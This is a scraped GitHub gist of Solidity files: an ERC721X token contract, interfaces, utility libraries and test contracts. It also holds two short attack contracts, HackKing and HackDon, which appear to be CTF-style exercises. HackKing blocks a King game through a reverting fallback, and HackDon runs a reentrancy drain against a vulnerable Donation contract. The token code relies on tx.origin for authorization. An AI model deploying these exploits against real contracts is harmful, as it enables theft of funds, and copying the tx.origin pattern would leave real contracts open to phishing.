constructor(address _owner, uint256 supply) public{ | |
uint256 tokenId = zeroCoin; | |
tokenType[tokenId] = FT; | |
allTokens.push(tokenId); | |
// supply zero-coins for owner of this contract | |
// zero-coins will be used for cryptocurrency | |
// other coins will be just for proving the value | |
tokenBalance[_owner][tokenId] = tokenBalance[_owner][tokenId].add(supply); | |
ownedTokenList[_owner].push(tokenId); | |
tokenOwners[tokenId].push(_owner); | |
emit Transfer(address(this), _owner, tokenId); | |
} | |
modifier TokenHolder(address _owner, uint256 tokenId){ | |
require(tokenOwners[tokenId].exist(_owner), "Not allowed token owner for the tokenId"); | |
_; | |
} | |
modifier TokenMaker(address addr){ | |
require( | |
tokenMaker == addr | |
|| owner == addr, | |
"Not allowed token maker"); | |
_; | |
} | |
// Events | |
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); | |
event TransferWithQuantity(address indexed from, address indexed to, uint256 indexed tokenId, uint256 quantity); | |
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); | |
event BatchTransfer(address indexed from, address indexed to, uint256[] tokenTypes, uint256[] amounts); | |
event QuantityApproval(address indexed from, address indexed, uint256, uint256); | |
function implementsERC721X() public pure returns (bool){ | |
return true; | |
} | |
function setCarCoinAddr(address addr) public onlyOwner { | |
if (tokenMaker != address(0)){ | |
setApprovalForAll(tokenMaker, false); | |
prevTokenMaker = tokenMaker; | |
} | |
tokenMaker = addr; | |
setApprovalForAll(addr, true); | |
} | |
function setApprovalForAll(address operator, bool _approved) NotZeroAddr(operator) public{ | |
// operator should not be tx.origin | |
require(operator != tx.origin); | |
_operatorApprovals[tx.origin][operator] = _approved; | |
emit ApprovalForAll(tx.origin, operator, _approved); | |
} | |
function balanceOf(address _owner, uint256 tokenId) public view returns (uint256){ | |
return tokenBalance[_owner][tokenId]; | |
} | |
function _transferFrom(address _from, address to, uint256 tokenId, uint256 quantity) | |
public NotZeroAddr(_from) NotZeroAddr(to) { | |
// ISC should allow carcoin contract as an operator | |
require(msg.sender == _from || _operatorApprovals[_from][msg.sender]); | |
require(tokenType[tokenId] == FT); | |
require(quantity <= this.balanceOf(_from, tokenId), "Quantity exceeds balance"); | |
if(!tokenOwners[tokenId].exist(to)) | |
tokenOwners[tokenId].push(to); | |
tokenBalance[_from][tokenId] = tokenBalance[_from][tokenId].sub(quantity); | |
tokenBalance[to][tokenId] = tokenBalance[to][tokenId].add(quantity); | |
if(!ownedTokenList[to].exist(tokenId)){ | |
ownedTokenList[to].push(tokenId); | |
tokenOwners[tokenId].push(to); | |
} | |
if(tokenBalance[_from][tokenId] == 0){ | |
ownedTokenList[_from].removeItem(tokenId); | |
tokenOwners[tokenId].removeItem(_from); | |
} | |
emit TransferWithQuantity(_from, to, tokenId, quantity); | |
} | |
function transfer(address to, uint256 tokenId, uint256 quantity) public { | |
_transferFrom(tx.origin, to, tokenId, quantity); | |
} | |
function transferFrom(address _from, address to, uint256 tokenId, uint256 quantity) public{ | |
_transferFrom(_from, to, tokenId, quantity); | |
} | |
// Fungible Safe Transfer From address from to address to | |
function safeTransferFrom(address _from, address to, uint256 tokenId, uint256 quantity) public{ | |
safeTransferFrom(_from, to, tokenId, quantity, ""); | |
} | |
function safeTransferFrom(address _from, address to, uint256 tokenId, uint256 quantity, bytes memory data) public{ | |
require(_checkOnERC721XReceived(_from, to, tokenId, quantity, data), | |
"ERC721X: transfer to non ERC721XReceiver contract"); | |
_transferFrom(_from, to, tokenId, quantity); | |
} | |
function _checkOnERC721XReceived(address _from, address to, uint256 tokenId, uint256 quantity, bytes memory _data) | |
internal returns (bool){ | |
// check whether contract or not | |
if (!isContract(to)) { | |
return true; | |
} | |
// check whether ERC721XReceiver is implemented or not | |
bytes4 retval = ERC721XReceiver(to).onERC721XReceived(tx.origin, _from, tokenId, quantity, _data); | |
return (retval == ERC721X_RECEIVED); | |
} | |
function _checkOnERC721BatchReceived(address _from, address to, uint256[] memory tokenIds, | |
uint256[] memory quantities, bytes memory data) internal returns (bool) { | |
// check whether contract or not | |
if (!isContract(to)) { | |
return true; | |
} | |
// check whether ERC721XReceiver is implemented or not | |
bytes4 retval = ERC721XReceiver(to).onERC721XBatchReceived(tx.origin, _from, tokenIds, quantities, data); | |
return (retval == ERC721X_BATCH_RECEIVE_SIG); | |
} | |
function _batchTransferFrom(address _from, address to, uint256[] memory tokenIds, uint256[] memory quantities) | |
internal NotZeroAddr(_from) NotZeroAddr(to) { | |
require(tokenIds.length == quantities.length, "Wrong Usage for batchTransfer"); | |
for(uint256 i = 0; i < tokenIds.length; i++){ | |
require(tokenType[ tokenIds[i] ] == FT); | |
} | |
for(uint256 i = 0; i < tokenIds.length; i++){ | |
// check whether the amount of token is allowed or not | |
if(_from != tx.origin ){ | |
require(_operatorApprovals[_from][tx.origin]); | |
} | |
_transferFrom(_from, to, tokenIds[i], quantities[i]); | |
} | |
emit BatchTransfer(_from, to, tokenIds, quantities); | |
} | |
function batchTransferFrom(address _from, address _to, uint256[] memory _tokenIds, uint256[] memory _amounts) public { | |
// Batch Transfering | |
_batchTransferFrom(_from, _to, _tokenIds, _amounts); | |
} | |
// Batch Safe Transfer From | |
function safeBatchTransferFrom(address _from, address to, uint256[] memory tokenIds, | |
uint256[] memory quantities, bytes memory _data) public{ | |
require(_checkOnERC721BatchReceived(_from, to, tokenIds, quantities, _data), | |
"ERC721X: Batch transfer to non ERC721XReceiver contract"); | |
_batchTransferFrom(_from, to, tokenIds, quantities); | |
} | |
function safeBatchTransferFrom(address _from, address to, uint256[] memory tokenIds, | |
uint256[] memory quantities) public{ | |
require(_checkOnERC721BatchReceived(_from, to, tokenIds, quantities, ""), | |
"ERC721X: Batch transfer to non ERC721XReceiver contract"); | |
_batchTransferFrom(_from, to, tokenIds, quantities); | |
} | |
function _mint(uint256 tokenId, address to, uint256 supply) external TokenMaker(msg.sender) { | |
require( | |
!allTokens.exist(tokenId) | |
|| ((msg.sender == owner) && (tokenId == zeroCoin)), | |
"Already existing token, mint is not allowed"); | |
tokenType[tokenId] = FT; | |
allTokens.push(tokenId); | |
// update token status for user | |
tokenBalance[to][tokenId] = tokenBalance[to][tokenId].add(supply); | |
ownedTokenList[to].push(tokenId); | |
tokenOwners[tokenId].push(to); | |
emit Transfer(address(this), to, tokenId); | |
} | |
function burn(address _owner, uint256 tokenId) external TokenMaker(msg.sender) { | |
require(tokenOwners[tokenId].exist(_owner)); // owner should hold token | |
if(_operatorApprovals[_owner][tx.origin] || _owner == tx.origin){ | |
tokenOwners[tokenId].removeItem(_owner); | |
// There is no more tokens for tokenId | |
if(tokenOwners[tokenId].length == 0){ | |
tokenType[tokenId] = 0; | |
allTokens.removeItem(tokenId); | |
} | |
tokenBalance[_owner][tokenId] = 0; | |
tokenOwners[tokenId].removeItem(_owner); | |
ownedTokenList[_owner].removeItem(tokenId); | |
emit Transfer(_owner, address(0), tokenId); | |
} | |
} | |
function burn(uint256 tokenId) external TokenMaker(msg.sender) { | |
_burn(tx.origin, tokenId); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
import "./IERC721.sol"; | |
import "./SafeMath.sol"; | |
import "./ArrayUtils.sol"; | |
contract ERC721XTokenNFT is IERC721, ERC165 { | |
using SafeMath for uint256; | |
using ArrayUtils for uint256[]; | |
using ArrayUtils for address[]; | |
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); | |
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); | |
event ApprovalForAll(address indexed owner, address indexed operator, bool approved); | |
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; | |
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; | |
uint256[] internal allTokens; | |
//mapping owner's address to tokenId to balances | |
mapping(address => mapping(uint256 => uint256)) internal tokenBalance; | |
//mapping owner's address to owned tokens | |
mapping(address => uint256 []) internal ownedTokenList; | |
mapping(uint256 => uint256) public tokenType; | |
mapping(uint256 => address) private tokenOwner; | |
// first address allow second address to use first address's tokens | |
mapping(address => mapping(address => bool)) internal _operatorApprovals; | |
mapping (uint256 => address) internal _tokenApprovals; | |
uint256 constant NFT = 1; | |
uint256 constant FT = 2; | |
constructor () public { | |
_registerInterface(_INTERFACE_ID_ERC721); | |
} | |
modifier NotZeroAddr(address addr){ | |
require(addr != address(0), "ERC721: Address is zero"); | |
_; | |
} | |
modifier ExistingToken(uint256 tokenId){ | |
address owner = tokenOwner[tokenId]; | |
require(owner != address(0), "ERC721: Nonexistent token"); | |
_; | |
} | |
modifier NotExistingToken(uint256 tokenId){ | |
address owner = tokenOwner[tokenId]; | |
require(owner == address(0), "ERC721: Already existing token"); | |
_; | |
} | |
modifier TokenAllowedTo(uint256 tokenId, address addr){ | |
address owner = tokenOwner[tokenId]; | |
require( | |
_isApprovedOrOwner(addr, tokenId), | |
"ERC721: No token allowance or Not owner" | |
); | |
_; | |
} | |
function totalSupply() public view returns (uint256) { | |
return allTokens.length; | |
} | |
function name() external pure returns (string memory) { | |
return "ERC721XTokenNFT"; | |
} | |
function symbol() external pure returns (string memory) { | |
return "ERC721X"; | |
} | |
function exists(uint256 _tokenId) public view returns (bool) { | |
return tokenType[_tokenId] != 0; | |
} | |
function implementsERC721() public pure returns (bool) { | |
return true; | |
} | |
function tokenByIndex(uint256 _index) public view returns (uint256) { | |
require(_index < allTokens.length); | |
return allTokens[_index]; | |
} | |
function ownerOf(uint256 _tokenId) external view ExistingToken(_tokenId) returns (address){ | |
address owner = tokenOwner[_tokenId]; | |
return owner; | |
} | |
// return all tokens and balances owner has | |
function tokensOwned(address _owner) public view returns (uint256[] memory listOfToken, uint256[] memory balanceOftoken) { | |
uint256[] memory tokenList = ownedTokenList[_owner]; | |
uint256[] memory balances = new uint256[](tokenList.length); | |
for(uint256 i = 0; i < tokenList.length; i++){ | |
balances[i] = this.balanceOf(_owner, tokenList[i]); | |
} | |
return (tokenList, balances); | |
} | |
function balanceOf(address _owner, uint256 tokenId) external view returns (uint256){ | |
return tokenBalance[_owner][tokenId]; | |
} | |
function balanceOf(address _owner) external view returns (uint256) { | |
return ownedTokenList[_owner].length; | |
} | |
function safeTransferFrom(address _from, address to, uint256 tokenId) external { | |
this.safeTransferFrom(_from, to, tokenId, ""); | |
} | |
function safeTransferFrom(address _from, address to, uint256 tokenId, bytes calldata _data) external { | |
require(_checkOnERC721Received(_from, to, tokenId, _data), | |
"ERC721: transfer to non ERC721Receiver contract"); | |
this.transferFrom(_from, to, tokenId); | |
} | |
function _checkOnERC721Received(address _from, address to, uint256 tokenId, bytes memory _data) | |
internal returns (bool){ | |
// check whether contract or not | |
if (!isContract(to)) { | |
return true; | |
} | |
// check whether ERC721Receiver is implemented or not | |
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, _from, tokenId, _data); | |
return (retval == _ERC721_RECEIVED); | |
} | |
function isContract(address account) internal view returns (bool) { | |
uint256 size; | |
// If there is a contract in an address | |
// than to check the size of the code at that address. | |
// solhint-disable-next-line no-inline-assembly | |
assembly { size := extcodesize(account) } | |
return size > 0; | |
} | |
function transferFrom(address _from, address to, uint256 tokenId) | |
external NotZeroAddr(_from) NotZeroAddr(to) ExistingToken(tokenId) TokenAllowedTo(tokenId, msg.sender){ | |
// addresses should not be zero | |
// token should be ExistingToken and allowed to address _from | |
// token type should be NFT | |
require(tokenType[tokenId] == NFT); | |
// set token clear for the new owner | |
_clearApproval(tokenId); | |
tokenOwner[tokenId] = to; | |
ownedTokenList[_from].removeItem(tokenId); | |
require(!ownedTokenList[to].exist(tokenId)); | |
ownedTokenList[to].push(tokenId); | |
emit Transfer(_from, to, tokenId); | |
} | |
// set token approval cleared | |
function _clearApproval(uint256 tokenId) private{ | |
_tokenApprovals[tokenId] = address(0); | |
} | |
function getApproved(uint256 tokenId) external view ExistingToken(tokenId) returns (address operator){ | |
return _tokenApprovals[tokenId]; | |
} | |
// Set approve all the coins of msg.sender to operator | |
function setApprovalForAll(address operator, bool _approved) NotZeroAddr(operator) external{ | |
// operator should not be msg.sender | |
require(operator != msg.sender); | |
_operatorApprovals[msg.sender][operator] = _approved; | |
emit ApprovalForAll(msg.sender, operator, _approved); | |
} | |
// Check approval of all the coins of msg.sender to operator | |
function isApprovedForAll(address owner, address operator) | |
external view NotZeroAddr(owner) NotZeroAddr(operator) returns (bool){ | |
return _operatorApprovals[owner][operator]; | |
} | |
function _isApprovedOrOwner(address spender, uint256 tokenId) private ExistingToken(tokenId) view returns (bool) { | |
address owner = this.ownerOf(tokenId); | |
// should be owner of the token or approved token or approved user | |
return ( | |
spender == owner | |
|| this.getApproved(tokenId) == spender | |
|| this.isApprovedForAll(owner, spender) | |
); | |
} | |
function approve(address to, uint256 tokenId) | |
external NotZeroAddr(to) ExistingToken(tokenId) TokenAllowedTo(tokenId, msg.sender){ | |
// should be owner of the token or approved by the owner | |
address owner = this.ownerOf(tokenId); | |
// target address should not be token owner | |
require(to != owner); | |
_tokenApprovals[tokenId] = to; | |
emit Approval(owner, to, tokenId); | |
} | |
// Make new coin for the address to | |
function _mint(address to, uint256 tokenId) internal NotZeroAddr(to) NotExistingToken(tokenId) { | |
tokenOwner[tokenId] = to; | |
tokenType[tokenId] = NFT; | |
tokenBalance[to][tokenId] = 1; | |
ownedTokenList[to].push(tokenId); | |
allTokens.push(tokenId); | |
emit Transfer(address(this), to, tokenId); | |
} | |
// Remove ExistingToken | |
function _burn(address owner, uint256 tokenId) internal TokenAllowedTo(tokenId, msg.sender){ | |
_clearApproval(tokenId); | |
tokenOwner[tokenId] = address(0); | |
tokenType[tokenId] = 0; | |
tokenBalance[owner][tokenId] = 0; | |
ownedTokenList[owner].removeItem(tokenId); | |
allTokens.removeItem(tokenId); | |
emit Transfer(owner, address(0), tokenId); | |
} | |
function _burn(uint256 tokenId) internal { | |
_burn(tokenOwner[tokenId], tokenId); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
interface ERC20 { | |
function totalSupply() external view returns (uint256); | |
function balanceOf(address who) external view returns (uint256); | |
function allowance(address owner, address spender) external view returns (uint256); | |
function transfer(address to, uint256 value) external returns (bool); | |
function approve(address spender, uint256 value) external returns (bool); | |
function transferFrom(address _from, address to, uint256 value) external returns (bool); | |
event Transfer(address indexed _from, address indexed to, uint256 value); | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.5.0; | |
import "./ERC165.sol"; | |
contract IERC721Receiver { | |
/** | |
* @notice Handle the receipt of an NFT | |
* @dev The ERC721 smart contract calls this function on the recipient | |
* after a `safeTransfer`. This function MUST return the function selector, | |
* otherwise the caller will revert the transaction. The selector to be | |
* returned can be obtained as `this.onERC721Received.selector`. This | |
* function MAY throw to revert and reject the transfer. | |
* Note: the ERC721 contract address is always the message sender. | |
* @param operator The address which called `safeTransferFrom` function | |
* @param from The address which previously owned the token | |
* @param tokenId The NFT identifier which is being transferred | |
* @param data Additional data with no specified format | |
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` | |
*/ | |
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) | |
public returns (bytes4); | |
} | |
interface IERC721 { | |
function balanceOf(address owner) external view returns (uint256 balance); | |
function ownerOf(uint256 tokenId) external view returns (address owner); | |
function approve(address to, uint256 tokenId) external; | |
function getApproved(uint256 tokenId) external view returns (address operator); | |
function setApprovalForAll(address operator, bool _approved) external; | |
function isApprovedForAll(address owner, address operator) external view returns (bool); | |
function transferFrom(address from, address to, uint256 tokenId) external; | |
function safeTransferFrom(address from, address to, uint256 tokenId) external; | |
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata) external; | |
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); | |
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); | |
event ApprovalForAll(address indexed owner, address indexed operator, bool approved); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
contract ERC721XReceiver { | |
/** | |
* @dev Magic value to be returned upon successful reception of an amount of ERC721X tokens | |
* Equals to `bytes4(keccak256("onERC721XReceived(address,uint256,bytes)"))`, | |
* which can be also obtained as `ERC721XReceiver(0).onERC721XReceived.selector` | |
*/ | |
bytes4 constant ERC721X_RECEIVED = 0x660b3370; | |
bytes4 constant ERC721X_BATCH_RECEIVE_SIG = 0xe9e5be6a; | |
function onERC721XReceived(address _operator, address _from, uint256 tokenId, uint256 amount, bytes memory data) public returns(bytes4); | |
/** | |
* @dev Handle the receipt of multiple fungible tokens from an MFT contract. The ERC721X smart contract calls | |
* this function on the recipient after a `batchTransfer`. This function MAY throw to revert and reject the | |
* transfer. Return of other than the magic value MUST result in the transaction being reverted. | |
* Returns `bytes4(keccak256("onERC721XBatchReceived(address,address,uint256[],uint256[],bytes)"))` unless throwing. | |
* @notice The contract address is always the message sender. A wallet/broker/auction application | |
* MUST implement the wallet interface if it will accept safe transfers. | |
* @param _operator The address which called `safeTransferFrom` function. | |
* @param _from The address from which the token was transfered from. | |
* @param _types Array of types of token being transferred (where each type is represented as an ID) | |
* @param _amounts Array of amount of object per type to be transferred. | |
* @param _data Additional data with no specified format. | |
*/ | |
function onERC721XBatchReceived( | |
address _operator, | |
address _from, | |
uint256[] memory _types, | |
uint256[] memory _amounts, | |
bytes memory _data | |
) | |
public | |
returns(bytes4); | |
} | |
contract IERC721X { | |
function implementsERC721X() external pure returns (bool); | |
function ownerOf(uint256 _tokenId) external view returns (address); | |
function balanceOf(address _owner) external view returns (uint256); | |
function balanceOf(address _owner, uint256 tokenId) external view returns (uint256); | |
function tokensOwned(address _owner) external view returns (uint256[] memory, uint256[] memory); | |
function transfer(address to, uint256 tokenId, uint256 quantity) external; | |
function transferFrom(address from, address to, uint256 tokenId, uint256 quantity) external; | |
// Fungible Safe Transfer From | |
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 quantity) external; | |
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 quantity, bytes calldata data) external; | |
// Batch Safe Transfer From | |
function safeBatchTransferFrom(address _from, address _to, | |
uint256[] calldata tokenIds, uint256[] calldata quantities, bytes calldata _data) external; | |
function name() external pure returns (string memory); | |
function symbol() external pure returns (string memory); | |
// Required Events | |
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); | |
event TransferWithQuantity(address indexed from, address indexed to, uint256 indexed tokenId, uint256 quantity); | |
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); | |
event BatchTransfer(address indexed from, address indexed to, uint256[] tokenTypes, uint256[] amounts); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.26; | |
contract Ownable { | |
address public owner; | |
constructor() public { | |
owner = msg.sender; | |
} | |
function destroy() public onlyOwner { | |
selfdestruct(msg.sender); | |
} | |
modifier onlyOwner { | |
require(msg.sender == owner); | |
_; | |
} | |
} | |
contract King is Ownable { | |
address public king; | |
uint public prize; | |
constructor() public payable { | |
king = msg.sender; | |
prize = msg.value; | |
} | |
function() external payable { | |
require(msg.value >= prize || msg.sender == owner); | |
king.transfer(msg.value); | |
king = msg.sender; | |
prize = msg.value; | |
} | |
} | |
contract HackKing { | |
King kingContract; | |
constructor(address kingaddr) public payable { | |
kingContract = King(kingaddr); | |
kingContract.call.value(msg.value)(); | |
} | |
function() external payable{ | |
revert(); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
contract Ownerable { | |
// event | |
event OwnerLogger(address); | |
address public owner; | |
constructor() public{ | |
owner = msg.sender; | |
emit OwnerLogger(msg.sender); | |
} | |
modifier onlyOwner{ | |
require(msg.sender == owner); | |
_; | |
} | |
modifier NotZeroAddr(address addr){ | |
require(addr != address(0)); | |
_; | |
} | |
function transferOwnership(address newOwner) public onlyOwner NotZeroAddr(newOwner) { | |
if(owner != newOwner) | |
owner = newOwner; | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
// Reference to https://github.com/OpenZeppelin/openzeppelin-solidity | |
library SafeMath { | |
function incr(uint256 a) internal pure returns(uint256){ | |
return add(a, 1); | |
} | |
function decr(uint256 a) internal pure returns(uint256){ | |
return sub(a, 1); | |
} | |
function mul(uint256 a, uint256 b) internal pure returns(uint256){ | |
if (a == 0 || b == 0) | |
return 0; | |
uint256 result = a * b; | |
require(result / b == a, "SafeMath: overflow"); | |
return result; | |
} | |
function add(uint256 a, uint256 b) internal pure returns(uint256){ | |
uint256 result = a + b; | |
require(result >= a && result >= b, "SafeMath: overflow"); | |
return result; | |
} | |
function sub(uint256 a, uint256 b) internal pure returns(uint256){ | |
uint256 result = a - b; | |
require(result <= a, "SafeMath: underflow"); | |
return result; | |
} | |
function div(uint256 a, uint256 b) internal pure returns(uint256){ | |
require(b != 0, "Exception: Division by zero"); | |
uint256 result = a / b; | |
return result; | |
} | |
function mod(uint256 a, uint256 b) internal pure returns(uint256){ | |
require(b != 0, "Exception: modulo by zero"); | |
uint256 result = a % b; | |
return result; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
// REFERENCE TO github.com/gatherheart | |
library StringUtils{ | |
using StringUtils for string; | |
function length(string calldata str) external pure returns (uint256){ | |
return bytes(str).length; | |
} | |
function strcmp(string calldata left, string calldata right) external pure returns (int8){ | |
bytes memory leftTmp = bytes(left); | |
bytes memory rightTmp = bytes(right); | |
uint256 leftLen = left.length(); | |
uint256 rightLen = right.length(); | |
uint256 limit = leftLen; | |
// check smaller string length for for statmement | |
if(leftLen > rightLen) | |
limit = rightLen; | |
for(uint256 i = 0; i < limit; i++){ | |
if(leftTmp[i] < rightTmp[i]) | |
return -1; | |
else if(leftTmp[i] > rightTmp[i]) | |
return 1; | |
} | |
if(leftLen == rightLen) | |
return 0; | |
else if(leftLen < rightLen) | |
return -1; | |
else | |
return 1; | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.26; | |
contract Ownable { | |
address public owner; | |
constructor() public { | |
owner = msg.sender; | |
} | |
function destroy() public onlyOwner { | |
selfdestruct(msg.sender); | |
} | |
modifier onlyOwner { | |
require(msg.sender == owner); | |
_; | |
} | |
} | |
contract Donation is Ownable { | |
mapping(address => uint) public balanceOf; | |
constructor() public payable { | |
balanceOf[owner] = msg.value; | |
} | |
function donate(address _to) public payable { | |
balanceOf[_to] += msg.value; | |
} | |
function withdraw(uint _amount) public { | |
if (balanceOf[msg.sender] >= _amount) { | |
if (msg.sender.call.value(_amount)()) { | |
_amount; | |
} | |
balanceOf[msg.sender] -= _amount; | |
} | |
} | |
function() public payable {} | |
} | |
contract HackDon { | |
Donation addr; | |
constructor() public payable { | |
addr= Donation(0x2B96A9cba920878eCfB15fB58344e00b1cdc4cDe); | |
} | |
function donate() public payable{ | |
addr.donate.value(msg.value)(address(this)); | |
} | |
function() external payable{ | |
addr.withdraw(0.1 ether); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
contract Vote { | |
uint8 [] tset = [1, 2, 3, 4, 5]; | |
uint8 public a; | |
uint8 public b; | |
address owner = msg.sender; | |
function test() public view returns(address){ | |
return(msg.sender); | |
} | |
function test2(uint8 _a, uint8 _b) public { | |
a = _a; | |
b = _b; | |
} | |
function test3() public view returns(uint8){ | |
require(msg.sender == owner); | |
return b; | |
} | |
function test4() public view returns(uint8){ | |
require(msg.sender == owner); | |
return a; | |
} | |
function makeStringReturn(uint256 [] memory time, uint256 [] memory value, string memory data) | |
public pure returns(string memory){ | |
string memory tmp_a = ""; | |
string memory tmp_b = ""; | |
for(uint256 i = 0; i < time.length; i++){ | |
tmp_a = string(abi.encodePacked( tmp_a, "\\", uint2str(time[i]))); | |
tmp_b = string(abi.encodePacked( tmp_b, "\\", uint2str(value[i]))); | |
} | |
return string(abi.encodePacked(tmp_a, "@", tmp_b, "@", data)); | |
//return string(abi.encodePacked(tmp_a, tmp_b, data)); | |
} | |
/*REFERENCE: loomnetwork/erc721x/blob/master/contracts/Core/ERC721X/ERC721XTokenNFT.sol*/ | |
function uint2str(uint256 _i) private pure returns (string memory _uintAsString) { | |
if (_i == 0) { | |
return "0"; | |
} | |
uint j = _i; | |
uint len; | |
while (j != 0) { | |
len++; | |
j /= 10; | |
} | |
bytes memory bstr = new bytes(len); | |
uint k = len - 1; | |
while (_i != 0) { | |
bstr[k--] = byte(uint8(48 + _i % 10)); | |
_i /= 10; | |
} | |
return string(bstr); | |
} | |
} | |
contract MyContract { | |
uint startTime; | |
function tmp() public view returns(uint){ | |
require(startTime != 0); | |
return (now - startTime)/(1 minutes); | |
} | |
function callThisToStart() public { | |
startTime = now; | |
} | |
function callThisToStop() public{ | |
startTime = 0; | |
} | |
function doSomething() public view returns (uint){ | |
return tmp(); | |
} | |
} | |
contract test{ | |
uint public blockNum; | |
struct tmtt{ | |
uint a; | |
} | |
constructor () public { | |
blockNum = now; | |
} | |
function tmp() public view returns(uint){ | |
require(blockNum != 0); | |
return (now - blockNum); | |
} | |
function tt() public view returns(uint){ | |
return block.number; | |
} | |
function ttt() public view returns(uint){ | |
return block.timestamp; | |
} | |
function tttt() public view returns(uint){ | |
return now; | |
} | |
function ttttt() public view returns(uint){ | |
return now / 1 minutes; | |
} | |
function tttttt() public view returns(uint){ | |
return (now - blockNum) / 1 minutes; | |
} | |
function ttttttt() public view returns(uint){ | |
return (block.timestamp - blockNum) / 1 minutes; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment